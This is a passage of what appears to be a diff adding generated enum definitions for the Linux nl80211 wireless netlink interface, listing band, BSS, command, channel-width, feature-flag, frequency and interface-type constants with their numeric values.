NL80211_BAND_ATTR_RATES = 2, + NL80211_BAND_ATTR_HT_MCS_SET = 3, + NL80211_BAND_ATTR_HT_CAPA = 4, + NL80211_BAND_ATTR_HT_AMPDU_FACTOR = 5, + NL80211_BAND_ATTR_HT_AMPDU_DENSITY = 6, + NL80211_BAND_ATTR_VHT_MCS_SET = 7, + NL80211_BAND_ATTR_VHT_CAPA = 8, + NL80211_BAND_ATTR_IFTYPE_DATA = 9, + NL80211_BAND_ATTR_EDMG_CHANNELS = 10, + NL80211_BAND_ATTR_EDMG_BW_CONFIG = 11, + NL80211_BAND_ATTR_S1G_MCS_NSS_SET = 12, + NL80211_BAND_ATTR_S1G_CAPA = 13, + __NL80211_BAND_ATTR_AFTER_LAST = 14, + NL80211_BAND_ATTR_MAX = 13, +}; + +enum nl80211_band_iftype_attr { + __NL80211_BAND_IFTYPE_ATTR_INVALID = 0, + NL80211_BAND_IFTYPE_ATTR_IFTYPES = 1, + NL80211_BAND_IFTYPE_ATTR_HE_CAP_MAC = 2, + NL80211_BAND_IFTYPE_ATTR_HE_CAP_PHY = 3, + NL80211_BAND_IFTYPE_ATTR_HE_CAP_MCS_SET = 4, + NL80211_BAND_IFTYPE_ATTR_HE_CAP_PPE = 5, + NL80211_BAND_IFTYPE_ATTR_HE_6GHZ_CAPA = 6, + NL80211_BAND_IFTYPE_ATTR_VENDOR_ELEMS = 7, + NL80211_BAND_IFTYPE_ATTR_EHT_CAP_MAC = 8, + NL80211_BAND_IFTYPE_ATTR_EHT_CAP_PHY = 9, + NL80211_BAND_IFTYPE_ATTR_EHT_CAP_MCS_SET = 10, + NL80211_BAND_IFTYPE_ATTR_EHT_CAP_PPE = 11, + __NL80211_BAND_IFTYPE_ATTR_AFTER_LAST = 12, + NL80211_BAND_IFTYPE_ATTR_MAX = 11, +}; + +enum nl80211_bitrate_attr { + __NL80211_BITRATE_ATTR_INVALID = 0, + NL80211_BITRATE_ATTR_RATE = 1, + NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE = 2, + __NL80211_BITRATE_ATTR_AFTER_LAST = 3, + NL80211_BITRATE_ATTR_MAX = 2, +}; + +enum nl80211_bss { + __NL80211_BSS_INVALID = 0, + NL80211_BSS_BSSID = 1, + NL80211_BSS_FREQUENCY = 2, + NL80211_BSS_TSF = 3, + NL80211_BSS_BEACON_INTERVAL = 4, + NL80211_BSS_CAPABILITY = 5, + NL80211_BSS_INFORMATION_ELEMENTS = 6, + NL80211_BSS_SIGNAL_MBM = 7, + NL80211_BSS_SIGNAL_UNSPEC = 8, + NL80211_BSS_STATUS = 9, + NL80211_BSS_SEEN_MS_AGO = 10, + NL80211_BSS_BEACON_IES = 11, + NL80211_BSS_CHAN_WIDTH = 12, + NL80211_BSS_BEACON_TSF = 13, + NL80211_BSS_PRESP_DATA = 14, + NL80211_BSS_LAST_SEEN_BOOTTIME = 15, + NL80211_BSS_PAD = 16, + NL80211_BSS_PARENT_TSF = 17, + NL80211_BSS_PARENT_BSSID = 18, + NL80211_BSS_CHAIN_SIGNAL = 19, + NL80211_BSS_FREQUENCY_OFFSET = 20, + NL80211_BSS_MLO_LINK_ID = 21, + NL80211_BSS_MLD_ADDR = 22, + NL80211_BSS_USE_FOR = 23, + NL80211_BSS_CANNOT_USE_REASONS = 24, + __NL80211_BSS_AFTER_LAST = 25, + NL80211_BSS_MAX = 24, +}; + +enum nl80211_bss_cannot_use_reasons { + NL80211_BSS_CANNOT_USE_NSTR_NONPRIMARY = 1, + NL80211_BSS_CANNOT_USE_6GHZ_PWR_MISMATCH = 2, +}; + +enum nl80211_bss_color_attributes { + __NL80211_HE_BSS_COLOR_ATTR_INVALID = 0, + NL80211_HE_BSS_COLOR_ATTR_COLOR = 1, + NL80211_HE_BSS_COLOR_ATTR_DISABLED = 2, + NL80211_HE_BSS_COLOR_ATTR_PARTIAL = 3, + __NL80211_HE_BSS_COLOR_ATTR_LAST = 4, + NL80211_HE_BSS_COLOR_ATTR_MAX = 3, +}; + +enum nl80211_bss_select_attr { + __NL80211_BSS_SELECT_ATTR_INVALID = 0, + NL80211_BSS_SELECT_ATTR_RSSI = 1, + NL80211_BSS_SELECT_ATTR_BAND_PREF = 2, + NL80211_BSS_SELECT_ATTR_RSSI_ADJUST = 3, + __NL80211_BSS_SELECT_ATTR_AFTER_LAST = 4, + NL80211_BSS_SELECT_ATTR_MAX = 3, +}; + +enum nl80211_bss_status { + NL80211_BSS_STATUS_AUTHENTICATED = 0, + NL80211_BSS_STATUS_ASSOCIATED = 1, + NL80211_BSS_STATUS_IBSS_JOINED = 2, +}; + +enum nl80211_bss_use_for { + NL80211_BSS_USE_FOR_NORMAL = 1, + NL80211_BSS_USE_FOR_MLD_LINK = 2, +}; + +enum nl80211_chan_width { + NL80211_CHAN_WIDTH_20_NOHT = 0, + NL80211_CHAN_WIDTH_20 = 1, + NL80211_CHAN_WIDTH_40 = 2, + NL80211_CHAN_WIDTH_80 = 3, + NL80211_CHAN_WIDTH_80P80 = 4, + NL80211_CHAN_WIDTH_160 = 5, + NL80211_CHAN_WIDTH_5 = 6, + NL80211_CHAN_WIDTH_10 = 7, + NL80211_CHAN_WIDTH_1 = 8, + NL80211_CHAN_WIDTH_2 = 9, + NL80211_CHAN_WIDTH_4 = 10, + NL80211_CHAN_WIDTH_8 = 11, + NL80211_CHAN_WIDTH_16 = 12, + NL80211_CHAN_WIDTH_320 = 13, +}; + +enum nl80211_channel_type { + NL80211_CHAN_NO_HT = 0, + NL80211_CHAN_HT20 = 1, + NL80211_CHAN_HT40MINUS = 2, + NL80211_CHAN_HT40PLUS = 3, +}; + +enum nl80211_coalesce_condition { + NL80211_COALESCE_CONDITION_MATCH = 0, + NL80211_COALESCE_CONDITION_NO_MATCH = 1, +}; + +enum nl80211_commands { + NL80211_CMD_UNSPEC = 0, + NL80211_CMD_GET_WIPHY = 1, + NL80211_CMD_SET_WIPHY = 2, + NL80211_CMD_NEW_WIPHY = 3, + NL80211_CMD_DEL_WIPHY = 4, + NL80211_CMD_GET_INTERFACE = 5, + NL80211_CMD_SET_INTERFACE = 6, + NL80211_CMD_NEW_INTERFACE = 7, + NL80211_CMD_DEL_INTERFACE = 8, + NL80211_CMD_GET_KEY = 9, + NL80211_CMD_SET_KEY = 10, + NL80211_CMD_NEW_KEY = 11, + NL80211_CMD_DEL_KEY = 12, + NL80211_CMD_GET_BEACON = 13, + NL80211_CMD_SET_BEACON = 14, + NL80211_CMD_START_AP = 15, + NL80211_CMD_NEW_BEACON = 15, + NL80211_CMD_STOP_AP = 16, + NL80211_CMD_DEL_BEACON = 16, + NL80211_CMD_GET_STATION = 17, + NL80211_CMD_SET_STATION = 18, + NL80211_CMD_NEW_STATION = 19, + NL80211_CMD_DEL_STATION = 20, + NL80211_CMD_GET_MPATH = 21, + NL80211_CMD_SET_MPATH = 22, + NL80211_CMD_NEW_MPATH = 23, + NL80211_CMD_DEL_MPATH = 24, + NL80211_CMD_SET_BSS = 25, + NL80211_CMD_SET_REG = 26, + NL80211_CMD_REQ_SET_REG = 27, + NL80211_CMD_GET_MESH_CONFIG = 28, + NL80211_CMD_SET_MESH_CONFIG = 29, + NL80211_CMD_SET_MGMT_EXTRA_IE = 30, + NL80211_CMD_GET_REG = 31, + NL80211_CMD_GET_SCAN = 32, + NL80211_CMD_TRIGGER_SCAN = 33, + NL80211_CMD_NEW_SCAN_RESULTS = 34, + NL80211_CMD_SCAN_ABORTED = 35, + NL80211_CMD_REG_CHANGE = 36, + NL80211_CMD_AUTHENTICATE = 37, + NL80211_CMD_ASSOCIATE = 38, + NL80211_CMD_DEAUTHENTICATE = 39, + NL80211_CMD_DISASSOCIATE = 40, + NL80211_CMD_MICHAEL_MIC_FAILURE = 41, + NL80211_CMD_REG_BEACON_HINT = 42, + NL80211_CMD_JOIN_IBSS = 43, + NL80211_CMD_LEAVE_IBSS = 44, + NL80211_CMD_TESTMODE = 45, + NL80211_CMD_CONNECT = 46, + NL80211_CMD_ROAM = 47, + NL80211_CMD_DISCONNECT = 48, + NL80211_CMD_SET_WIPHY_NETNS = 49, + NL80211_CMD_GET_SURVEY = 50, + NL80211_CMD_NEW_SURVEY_RESULTS = 51, + NL80211_CMD_SET_PMKSA = 52, + NL80211_CMD_DEL_PMKSA = 53, + NL80211_CMD_FLUSH_PMKSA = 54, + NL80211_CMD_REMAIN_ON_CHANNEL = 55, + NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL = 56, + NL80211_CMD_SET_TX_BITRATE_MASK = 57, + NL80211_CMD_REGISTER_FRAME = 58, + NL80211_CMD_REGISTER_ACTION = 58, + NL80211_CMD_FRAME = 59, + NL80211_CMD_ACTION = 59, + NL80211_CMD_FRAME_TX_STATUS = 60, + NL80211_CMD_ACTION_TX_STATUS = 60, + NL80211_CMD_SET_POWER_SAVE = 61, + NL80211_CMD_GET_POWER_SAVE = 62, + NL80211_CMD_SET_CQM = 63, + NL80211_CMD_NOTIFY_CQM = 64, + NL80211_CMD_SET_CHANNEL = 65, + NL80211_CMD_SET_WDS_PEER = 66, + NL80211_CMD_FRAME_WAIT_CANCEL = 67, + NL80211_CMD_JOIN_MESH = 68, + NL80211_CMD_LEAVE_MESH = 69, + NL80211_CMD_UNPROT_DEAUTHENTICATE = 70, + NL80211_CMD_UNPROT_DISASSOCIATE = 71, + NL80211_CMD_NEW_PEER_CANDIDATE = 72, + NL80211_CMD_GET_WOWLAN = 73, + NL80211_CMD_SET_WOWLAN = 74, + NL80211_CMD_START_SCHED_SCAN = 75, + NL80211_CMD_STOP_SCHED_SCAN = 76, + NL80211_CMD_SCHED_SCAN_RESULTS = 77, + NL80211_CMD_SCHED_SCAN_STOPPED = 78, + NL80211_CMD_SET_REKEY_OFFLOAD = 79, + NL80211_CMD_PMKSA_CANDIDATE = 80, + NL80211_CMD_TDLS_OPER = 81, + NL80211_CMD_TDLS_MGMT = 82, + NL80211_CMD_UNEXPECTED_FRAME = 83, + NL80211_CMD_PROBE_CLIENT = 84, + NL80211_CMD_REGISTER_BEACONS = 85, + NL80211_CMD_UNEXPECTED_4ADDR_FRAME = 86, + NL80211_CMD_SET_NOACK_MAP = 87, + NL80211_CMD_CH_SWITCH_NOTIFY = 88, + NL80211_CMD_START_P2P_DEVICE = 89, + NL80211_CMD_STOP_P2P_DEVICE = 90, + NL80211_CMD_CONN_FAILED = 91, + NL80211_CMD_SET_MCAST_RATE = 92, + NL80211_CMD_SET_MAC_ACL = 93, + NL80211_CMD_RADAR_DETECT = 94, + NL80211_CMD_GET_PROTOCOL_FEATURES = 95, + NL80211_CMD_UPDATE_FT_IES = 96, + NL80211_CMD_FT_EVENT = 97, + NL80211_CMD_CRIT_PROTOCOL_START = 98, + NL80211_CMD_CRIT_PROTOCOL_STOP = 99, + NL80211_CMD_GET_COALESCE = 100, + NL80211_CMD_SET_COALESCE = 101, + NL80211_CMD_CHANNEL_SWITCH = 102, + NL80211_CMD_VENDOR = 103, + NL80211_CMD_SET_QOS_MAP = 104, + NL80211_CMD_ADD_TX_TS = 105, + NL80211_CMD_DEL_TX_TS = 106, + NL80211_CMD_GET_MPP = 107, + NL80211_CMD_JOIN_OCB = 108, + NL80211_CMD_LEAVE_OCB = 109, + NL80211_CMD_CH_SWITCH_STARTED_NOTIFY = 110, + NL80211_CMD_TDLS_CHANNEL_SWITCH = 111, + NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH = 112, + NL80211_CMD_WIPHY_REG_CHANGE = 113, + NL80211_CMD_ABORT_SCAN = 114, + NL80211_CMD_START_NAN = 115, + NL80211_CMD_STOP_NAN = 116, + NL80211_CMD_ADD_NAN_FUNCTION = 117, + NL80211_CMD_DEL_NAN_FUNCTION = 118, + NL80211_CMD_CHANGE_NAN_CONFIG = 119, + NL80211_CMD_NAN_MATCH = 120, + NL80211_CMD_SET_MULTICAST_TO_UNICAST = 121, + NL80211_CMD_UPDATE_CONNECT_PARAMS = 122, + NL80211_CMD_SET_PMK = 123, + NL80211_CMD_DEL_PMK = 124, + NL80211_CMD_PORT_AUTHORIZED = 125, + NL80211_CMD_RELOAD_REGDB = 126, + NL80211_CMD_EXTERNAL_AUTH = 127, + NL80211_CMD_STA_OPMODE_CHANGED = 128, + NL80211_CMD_CONTROL_PORT_FRAME = 129, + NL80211_CMD_GET_FTM_RESPONDER_STATS = 130, + NL80211_CMD_PEER_MEASUREMENT_START = 131, + NL80211_CMD_PEER_MEASUREMENT_RESULT = 132, + NL80211_CMD_PEER_MEASUREMENT_COMPLETE = 133, + NL80211_CMD_NOTIFY_RADAR = 134, + NL80211_CMD_UPDATE_OWE_INFO = 135, + NL80211_CMD_PROBE_MESH_LINK = 136, + NL80211_CMD_SET_TID_CONFIG = 137, + NL80211_CMD_UNPROT_BEACON = 138, + NL80211_CMD_CONTROL_PORT_FRAME_TX_STATUS = 139, + NL80211_CMD_SET_SAR_SPECS = 140, + NL80211_CMD_OBSS_COLOR_COLLISION = 141, + NL80211_CMD_COLOR_CHANGE_REQUEST = 142, + NL80211_CMD_COLOR_CHANGE_STARTED = 143, + NL80211_CMD_COLOR_CHANGE_ABORTED = 144, + NL80211_CMD_COLOR_CHANGE_COMPLETED = 145, + NL80211_CMD_SET_FILS_AAD = 146, + NL80211_CMD_ASSOC_COMEBACK = 147, + NL80211_CMD_ADD_LINK = 148, + NL80211_CMD_REMOVE_LINK = 149, + NL80211_CMD_ADD_LINK_STA = 150, + NL80211_CMD_MODIFY_LINK_STA = 151, + NL80211_CMD_REMOVE_LINK_STA = 152, + NL80211_CMD_SET_HW_TIMESTAMP = 153, + NL80211_CMD_LINKS_REMOVED = 154, + NL80211_CMD_SET_TID_TO_LINK_MAPPING = 155, + __NL80211_CMD_AFTER_LAST = 156, + NL80211_CMD_MAX = 155, +}; + +enum nl80211_connect_failed_reason { + NL80211_CONN_FAIL_MAX_CLIENTS = 0, + NL80211_CONN_FAIL_BLOCKED_CLIENT = 1, +}; + +enum nl80211_cqm_rssi_threshold_event { + NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW = 0, + NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH = 1, + NL80211_CQM_RSSI_BEACON_LOSS_EVENT = 2, +}; + +enum nl80211_crit_proto_id { + NL80211_CRIT_PROTO_UNSPEC = 0, + NL80211_CRIT_PROTO_DHCP = 1, + NL80211_CRIT_PROTO_EAPOL = 2, + NL80211_CRIT_PROTO_APIPA = 3, + NUM_NL80211_CRIT_PROTO = 4, +}; + +enum nl80211_dfs_regions { + NL80211_DFS_UNSET = 0, + NL80211_DFS_FCC = 1, + NL80211_DFS_ETSI = 2, + NL80211_DFS_JP = 3, +}; + +enum nl80211_dfs_state { + NL80211_DFS_USABLE = 0, + NL80211_DFS_UNAVAILABLE = 1, + NL80211_DFS_AVAILABLE = 2, +}; + +enum nl80211_eht_gi { + NL80211_RATE_INFO_EHT_GI_0_8 = 0, + NL80211_RATE_INFO_EHT_GI_1_6 = 1, + NL80211_RATE_INFO_EHT_GI_3_2 = 2, +}; + +enum nl80211_eht_ru_alloc { + NL80211_RATE_INFO_EHT_RU_ALLOC_26 = 0, + NL80211_RATE_INFO_EHT_RU_ALLOC_52 = 1, + NL80211_RATE_INFO_EHT_RU_ALLOC_52P26 = 2, + NL80211_RATE_INFO_EHT_RU_ALLOC_106 = 3, + NL80211_RATE_INFO_EHT_RU_ALLOC_106P26 = 4, + NL80211_RATE_INFO_EHT_RU_ALLOC_242 = 5, + NL80211_RATE_INFO_EHT_RU_ALLOC_484 = 6, + NL80211_RATE_INFO_EHT_RU_ALLOC_484P242 = 7, + NL80211_RATE_INFO_EHT_RU_ALLOC_996 = 8, + NL80211_RATE_INFO_EHT_RU_ALLOC_996P484 = 9, + NL80211_RATE_INFO_EHT_RU_ALLOC_996P484P242 = 10, + NL80211_RATE_INFO_EHT_RU_ALLOC_2x996 = 11, + NL80211_RATE_INFO_EHT_RU_ALLOC_2x996P484 = 12, + NL80211_RATE_INFO_EHT_RU_ALLOC_3x996 = 13, + NL80211_RATE_INFO_EHT_RU_ALLOC_3x996P484 = 14, + NL80211_RATE_INFO_EHT_RU_ALLOC_4x996 = 15, +}; + +enum nl80211_ext_feature_index { + NL80211_EXT_FEATURE_VHT_IBSS = 0, + NL80211_EXT_FEATURE_RRM = 1, + NL80211_EXT_FEATURE_MU_MIMO_AIR_SNIFFER = 2, + NL80211_EXT_FEATURE_SCAN_START_TIME = 3, + NL80211_EXT_FEATURE_BSS_PARENT_TSF = 4, + NL80211_EXT_FEATURE_SET_SCAN_DWELL = 5, + NL80211_EXT_FEATURE_BEACON_RATE_LEGACY = 6, + NL80211_EXT_FEATURE_BEACON_RATE_HT = 7, + NL80211_EXT_FEATURE_BEACON_RATE_VHT = 8, + NL80211_EXT_FEATURE_FILS_STA = 9, + NL80211_EXT_FEATURE_MGMT_TX_RANDOM_TA = 10, + NL80211_EXT_FEATURE_MGMT_TX_RANDOM_TA_CONNECTED = 11, + NL80211_EXT_FEATURE_SCHED_SCAN_RELATIVE_RSSI = 12, + NL80211_EXT_FEATURE_CQM_RSSI_LIST = 13, + NL80211_EXT_FEATURE_FILS_SK_OFFLOAD = 14, + NL80211_EXT_FEATURE_4WAY_HANDSHAKE_STA_PSK = 15, + NL80211_EXT_FEATURE_4WAY_HANDSHAKE_STA_1X = 16, + NL80211_EXT_FEATURE_FILS_MAX_CHANNEL_TIME = 17, + NL80211_EXT_FEATURE_ACCEPT_BCAST_PROBE_RESP = 18, + NL80211_EXT_FEATURE_OCE_PROBE_REQ_HIGH_TX_RATE = 19, + NL80211_EXT_FEATURE_OCE_PROBE_REQ_DEFERRAL_SUPPRESSION = 20, + NL80211_EXT_FEATURE_MFP_OPTIONAL = 21, + NL80211_EXT_FEATURE_LOW_SPAN_SCAN = 22, + NL80211_EXT_FEATURE_LOW_POWER_SCAN = 23, + NL80211_EXT_FEATURE_HIGH_ACCURACY_SCAN = 24, + NL80211_EXT_FEATURE_DFS_OFFLOAD = 25, + NL80211_EXT_FEATURE_CONTROL_PORT_OVER_NL80211 = 26, + NL80211_EXT_FEATURE_ACK_SIGNAL_SUPPORT = 27, + NL80211_EXT_FEATURE_DATA_ACK_SIGNAL_SUPPORT = 27, + NL80211_EXT_FEATURE_TXQS = 28, + NL80211_EXT_FEATURE_SCAN_RANDOM_SN = 29, + NL80211_EXT_FEATURE_SCAN_MIN_PREQ_CONTENT = 30, + NL80211_EXT_FEATURE_CAN_REPLACE_PTK0 = 31, + NL80211_EXT_FEATURE_ENABLE_FTM_RESPONDER = 32, + NL80211_EXT_FEATURE_AIRTIME_FAIRNESS = 33, + NL80211_EXT_FEATURE_AP_PMKSA_CACHING = 34, + NL80211_EXT_FEATURE_SCHED_SCAN_BAND_SPECIFIC_RSSI_THOLD = 35, + NL80211_EXT_FEATURE_EXT_KEY_ID = 36, + NL80211_EXT_FEATURE_STA_TX_PWR = 37, + NL80211_EXT_FEATURE_SAE_OFFLOAD = 38, + NL80211_EXT_FEATURE_VLAN_OFFLOAD = 39, + NL80211_EXT_FEATURE_AQL = 40, + NL80211_EXT_FEATURE_BEACON_PROTECTION = 41, + NL80211_EXT_FEATURE_CONTROL_PORT_NO_PREAUTH = 42, + NL80211_EXT_FEATURE_PROTECTED_TWT = 43, + NL80211_EXT_FEATURE_DEL_IBSS_STA = 44, + NL80211_EXT_FEATURE_MULTICAST_REGISTRATIONS = 45, + NL80211_EXT_FEATURE_BEACON_PROTECTION_CLIENT = 46, + NL80211_EXT_FEATURE_SCAN_FREQ_KHZ = 47, + NL80211_EXT_FEATURE_CONTROL_PORT_OVER_NL80211_TX_STATUS = 48, + NL80211_EXT_FEATURE_OPERATING_CHANNEL_VALIDATION = 49, + NL80211_EXT_FEATURE_4WAY_HANDSHAKE_AP_PSK = 50, + NL80211_EXT_FEATURE_SAE_OFFLOAD_AP = 51, + NL80211_EXT_FEATURE_FILS_DISCOVERY = 52, + NL80211_EXT_FEATURE_UNSOL_BCAST_PROBE_RESP = 53, + NL80211_EXT_FEATURE_BEACON_RATE_HE = 54, + NL80211_EXT_FEATURE_SECURE_LTF = 55, + NL80211_EXT_FEATURE_SECURE_RTT = 56, + NL80211_EXT_FEATURE_PROT_RANGE_NEGO_AND_MEASURE = 57, + NL80211_EXT_FEATURE_BSS_COLOR = 58, + NL80211_EXT_FEATURE_FILS_CRYPTO_OFFLOAD = 59, + NL80211_EXT_FEATURE_RADAR_BACKGROUND = 60, + NL80211_EXT_FEATURE_POWERED_ADDR_CHANGE = 61, + NL80211_EXT_FEATURE_PUNCT = 62, + NL80211_EXT_FEATURE_SECURE_NAN = 63, + NL80211_EXT_FEATURE_AUTH_AND_DEAUTH_RANDOM_TA = 64, + NL80211_EXT_FEATURE_OWE_OFFLOAD = 65, + NL80211_EXT_FEATURE_OWE_OFFLOAD_AP = 66, + NL80211_EXT_FEATURE_DFS_CONCURRENT = 67, + NL80211_EXT_FEATURE_SPP_AMSDU_SUPPORT = 68, + NUM_NL80211_EXT_FEATURES = 69, + MAX_NL80211_EXT_FEATURES = 68, +}; + +enum nl80211_external_auth_action { + NL80211_EXTERNAL_AUTH_START = 0, + NL80211_EXTERNAL_AUTH_ABORT = 1, +}; + +enum nl80211_feature_flags { + NL80211_FEATURE_SK_TX_STATUS = 1, + NL80211_FEATURE_HT_IBSS = 2, + NL80211_FEATURE_INACTIVITY_TIMER = 4, + NL80211_FEATURE_CELL_BASE_REG_HINTS = 8, + NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 16, + NL80211_FEATURE_SAE = 32, + NL80211_FEATURE_LOW_PRIORITY_SCAN = 64, + NL80211_FEATURE_SCAN_FLUSH = 128, + NL80211_FEATURE_AP_SCAN = 256, + NL80211_FEATURE_VIF_TXPOWER = 512, + NL80211_FEATURE_NEED_OBSS_SCAN = 1024, + NL80211_FEATURE_P2P_GO_CTWIN = 2048, + NL80211_FEATURE_P2P_GO_OPPPS = 4096, + NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 16384, + NL80211_FEATURE_FULL_AP_CLIENT_STATE = 32768, + NL80211_FEATURE_USERSPACE_MPM = 65536, + NL80211_FEATURE_ACTIVE_MONITOR = 131072, + NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 262144, + NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 524288, + NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1048576, + NL80211_FEATURE_QUIET = 2097152, + NL80211_FEATURE_TX_POWER_INSERTION = 4194304, + NL80211_FEATURE_ACKTO_ESTIMATION = 8388608, + NL80211_FEATURE_STATIC_SMPS = 16777216, + NL80211_FEATURE_DYNAMIC_SMPS = 33554432, + NL80211_FEATURE_SUPPORTS_WMM_ADMISSION = 67108864, + NL80211_FEATURE_MAC_ON_CREATE = 134217728, + NL80211_FEATURE_TDLS_CHANNEL_SWITCH = 268435456, + NL80211_FEATURE_SCAN_RANDOM_MAC_ADDR = 536870912, + NL80211_FEATURE_SCHED_SCAN_RANDOM_MAC_ADDR = 1073741824, + NL80211_FEATURE_ND_RANDOM_MAC_ADDR = 2147483648, +}; + +enum nl80211_fils_discovery_attributes { + __NL80211_FILS_DISCOVERY_ATTR_INVALID = 0, + NL80211_FILS_DISCOVERY_ATTR_INT_MIN = 1, + NL80211_FILS_DISCOVERY_ATTR_INT_MAX = 2, + NL80211_FILS_DISCOVERY_ATTR_TMPL = 3, + __NL80211_FILS_DISCOVERY_ATTR_LAST = 4, + NL80211_FILS_DISCOVERY_ATTR_MAX = 3, +}; + +enum nl80211_frequency_attr { + __NL80211_FREQUENCY_ATTR_INVALID = 0, + NL80211_FREQUENCY_ATTR_FREQ = 1, + NL80211_FREQUENCY_ATTR_DISABLED = 2, + NL80211_FREQUENCY_ATTR_NO_IR = 3, + __NL80211_FREQUENCY_ATTR_NO_IBSS = 4, + NL80211_FREQUENCY_ATTR_RADAR = 5, + NL80211_FREQUENCY_ATTR_MAX_TX_POWER = 6, + NL80211_FREQUENCY_ATTR_DFS_STATE = 7, + NL80211_FREQUENCY_ATTR_DFS_TIME = 8, + NL80211_FREQUENCY_ATTR_NO_HT40_MINUS = 9, + NL80211_FREQUENCY_ATTR_NO_HT40_PLUS = 10, + NL80211_FREQUENCY_ATTR_NO_80MHZ = 11, + NL80211_FREQUENCY_ATTR_NO_160MHZ = 12, + NL80211_FREQUENCY_ATTR_DFS_CAC_TIME = 13, + NL80211_FREQUENCY_ATTR_INDOOR_ONLY = 14, + NL80211_FREQUENCY_ATTR_IR_CONCURRENT = 15, + NL80211_FREQUENCY_ATTR_NO_20MHZ = 16, + NL80211_FREQUENCY_ATTR_NO_10MHZ = 17, + NL80211_FREQUENCY_ATTR_WMM = 18, + NL80211_FREQUENCY_ATTR_NO_HE = 19, + NL80211_FREQUENCY_ATTR_OFFSET = 20, + NL80211_FREQUENCY_ATTR_1MHZ = 21, + NL80211_FREQUENCY_ATTR_2MHZ = 22, + NL80211_FREQUENCY_ATTR_4MHZ = 23, + NL80211_FREQUENCY_ATTR_8MHZ = 24, + NL80211_FREQUENCY_ATTR_16MHZ = 25, + NL80211_FREQUENCY_ATTR_NO_320MHZ = 26, + NL80211_FREQUENCY_ATTR_NO_EHT = 27, + NL80211_FREQUENCY_ATTR_PSD = 28, + NL80211_FREQUENCY_ATTR_DFS_CONCURRENT = 29, + NL80211_FREQUENCY_ATTR_NO_6GHZ_VLP_CLIENT = 30, + NL80211_FREQUENCY_ATTR_NO_6GHZ_AFC_CLIENT = 31, + NL80211_FREQUENCY_ATTR_CAN_MONITOR = 32, + NL80211_FREQUENCY_ATTR_ALLOW_6GHZ_VLP_AP = 33, + __NL80211_FREQUENCY_ATTR_AFTER_LAST = 34, + NL80211_FREQUENCY_ATTR_MAX = 33, +}; + +enum nl80211_ftm_responder_attributes { + __NL80211_FTM_RESP_ATTR_INVALID = 0, + NL80211_FTM_RESP_ATTR_ENABLED = 1, + NL80211_FTM_RESP_ATTR_LCI = 2, + NL80211_FTM_RESP_ATTR_CIVICLOC = 3, + __NL80211_FTM_RESP_ATTR_LAST = 4, + NL80211_FTM_RESP_ATTR_MAX = 3, +}; + +enum nl80211_ftm_responder_stats { + __NL80211_FTM_STATS_INVALID = 0, + NL80211_FTM_STATS_SUCCESS_NUM = 1, + NL80211_FTM_STATS_PARTIAL_NUM = 2, + NL80211_FTM_STATS_FAILED_NUM = 3, + NL80211_FTM_STATS_ASAP_NUM = 4, + NL80211_FTM_STATS_NON_ASAP_NUM = 5, + NL80211_FTM_STATS_TOTAL_DURATION_MSEC = 6, + NL80211_FTM_STATS_UNKNOWN_TRIGGERS_NUM = 7, + NL80211_FTM_STATS_RESCHEDULE_REQUESTS_NUM = 8, + NL80211_FTM_STATS_OUT_OF_WINDOW_TRIGGERS_NUM = 9, + NL80211_FTM_STATS_PAD = 10, + __NL80211_FTM_STATS_AFTER_LAST = 11, + NL80211_FTM_STATS_MAX = 10, +}; + +enum nl80211_he_gi { + NL80211_RATE_INFO_HE_GI_0_8 = 0, + NL80211_RATE_INFO_HE_GI_1_6 = 1, + NL80211_RATE_INFO_HE_GI_3_2 = 2, +}; + +enum nl80211_he_ltf { + NL80211_RATE_INFO_HE_1XLTF = 0, + NL80211_RATE_INFO_HE_2XLTF = 1, + NL80211_RATE_INFO_HE_4XLTF = 2, +}; + +enum nl80211_he_ru_alloc { + NL80211_RATE_INFO_HE_RU_ALLOC_26 = 0, + NL80211_RATE_INFO_HE_RU_ALLOC_52 = 1, + NL80211_RATE_INFO_HE_RU_ALLOC_106 = 2, + NL80211_RATE_INFO_HE_RU_ALLOC_242 = 3, + NL80211_RATE_INFO_HE_RU_ALLOC_484 = 4, + NL80211_RATE_INFO_HE_RU_ALLOC_996 = 5, + NL80211_RATE_INFO_HE_RU_ALLOC_2x996 = 6, +}; + +enum nl80211_hidden_ssid { + NL80211_HIDDEN_SSID_NOT_IN_USE = 0, + NL80211_HIDDEN_SSID_ZERO_LEN = 1, + NL80211_HIDDEN_SSID_ZERO_CONTENTS = 2, +}; + +enum nl80211_if_combination_attrs { + NL80211_IFACE_COMB_UNSPEC = 0, + NL80211_IFACE_COMB_LIMITS = 1, + NL80211_IFACE_COMB_MAXNUM = 2, + NL80211_IFACE_COMB_STA_AP_BI_MATCH = 3, + NL80211_IFACE_COMB_NUM_CHANNELS = 4, + NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS = 5, + NL80211_IFACE_COMB_RADAR_DETECT_REGIONS = 6, + NL80211_IFACE_COMB_BI_MIN_GCD = 7, + NUM_NL80211_IFACE_COMB = 8, + MAX_NL80211_IFACE_COMB = 7, +}; + +enum nl80211_iface_limit_attrs { + NL80211_IFACE_LIMIT_UNSPEC = 0, + NL80211_IFACE_LIMIT_MAX = 1, + NL80211_IFACE_LIMIT_TYPES = 2, + NUM_NL80211_IFACE_LIMIT = 3, + MAX_NL80211_IFACE_LIMIT = 2, +}; + +enum nl80211_iftype { + NL80211_IFTYPE_UNSPECIFIED = 0, + NL80211_IFTYPE_ADHOC = 1, + NL80211_IFTYPE_STATION = 2, + NL80211_IFTYPE_AP = 3, + NL80211_IFTYPE_AP_VLAN = 4, + NL80211_IFTYPE_WDS = 5, + NL80211_IFTYPE_MONITOR = 6, + NL80211_IFTYPE_MESH_POINT = 7, + NL80211_IFTYPE_P2P_CLIENT = 8, + NL80211_IFTYPE_P2P_GO = 9, + NL80211_IFTYPE_P2P_DEVICE = 10, + NL80211_IFTYPE_OCB = 11, + NL80211_IFTYPE_NAN = 12, + NUM_NL80211_IFTYPES = 13, + NL80211_IFTYPE_MAX = 12, +}; + +enum nl80211_iftype_akm_attributes { + 